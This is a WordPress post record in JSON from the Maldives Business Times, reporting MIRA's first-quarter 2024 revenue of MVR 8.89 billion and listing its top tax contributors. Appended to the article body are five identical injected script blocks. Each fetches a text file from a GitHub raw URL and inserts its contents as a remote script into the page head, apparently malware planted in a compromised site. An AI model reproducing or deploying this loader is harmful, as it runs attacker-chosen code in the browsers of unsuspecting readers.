{"id":9264,"date":"2024-04-30T20:22:20","date_gmt":"2024-04-30T15:22:20","guid":{"rendered":"https:\/\/mbt.mv\/?p=9264"},"modified":"2024-04-30T20:22:20","modified_gmt":"2024-04-30T15:22:20","slug":"2024-first-quarter-revenues-at-mvr-8-89-b-up-21-3","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=9264","title":{"rendered":"2024 first quarter revenues at MVR 8.89 B, up 21.3%"},"content":{"rendered":"<p>The total revenue collection in the first quarter of 2024 stood at MVR 8.89 billion, reports Maldives Inland Revenue Authority (MIRA).<\/p>\n<p>According to MIRA, the quarterly revenue total is a 21.3% increment compared to the corresponding quarter last year, and a 19.5% above projections.<\/p>\n<p>This increase is attributed mainly to an increase in tourist arrivals for the taxable period of the first quarter (from December 2023 to February 2024) by 13.1% compared to the corresponding quarter. Taxable bed-nights subject to green tax reported via the green tax returns submitted for the quarter by 7.5% compared to the corresponding period last year.<\/p>\n<p>Departures from December 2023 to February 2024 increased by 7.4% compared to the same quarter of 2023 as well, which also reflected on an increment departure tax.<\/p>\n<p>Tax revenue total for the quarter is MVR 7.70 billion, which is a 20.7% increase compared to the corresponding quarter last year, and a 20.5% increment from projections. Non-tax revenues for the quarter stood at MVR 1.19 billion, a 25.3% increase from Q1-2023 and a 13.5% increase from projections.<\/p>\n<p>Additionally, MIRA collected 324.63 million out of the quarterly revenue total in US dollars, which is a 12.2% increase from the same quarter last year.<\/p>\n<h2>Top Revenue Contributors<\/h2>\n<ol>\n<li>Goods and Services Tax &#8211; MVR 4.56 billion | 51.3%<\/li>\n<li>Income Tax &#8211; MVR 2.52 billion | 28.3%<\/li>\n<li>Tourism Land Rent &#8211; MVR 489.0 million | 5.5%<\/li>\n<li>Green Tax &#8211; MVR 316.2 million | 3.6%<\/li>\n<li>Airport Development Fee &#8211; MVR 303.5 million | 3.4%<\/li>\n<\/ol>\n<p>&nbsp;<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The total revenue collection in the first quarter of 2024 stood at MVR 8.89 billion, reports Maldives Inland Revenue Authority (MIRA). According to MIRA, the quarterly revenue total is a 21.3% increment compared to the corresponding quarter last year, and a 19.5% above projections. This increase is attributed mainly to an increase in tourist arrivals<\/p>\n","protected":false},"author":4,"featured_media":9265,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2424,2428],"tags":[],"class_list":{"0":"post-9264","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-finance","8":"category-public-sector"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.0 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>2024 first quarter revenues at MVR 8.89 B, up 21.3% - Maldives Business Times<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/mbt.mv\/?p=9264\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"2024 first quarter revenues at MVR 8.89 B, up 21.3% - Maldives Business Times\" \/>\n<meta property=\"og:description\" content=\"The total revenue collection in the first quarter of 2024 stood at MVR 8.89 billion, reports Maldives Inland Revenue Authority (MIRA). According to MIRA, the quarterly revenue total is a 21.3% increment compared to the corresponding quarter last year, and a 19.5% above projections. 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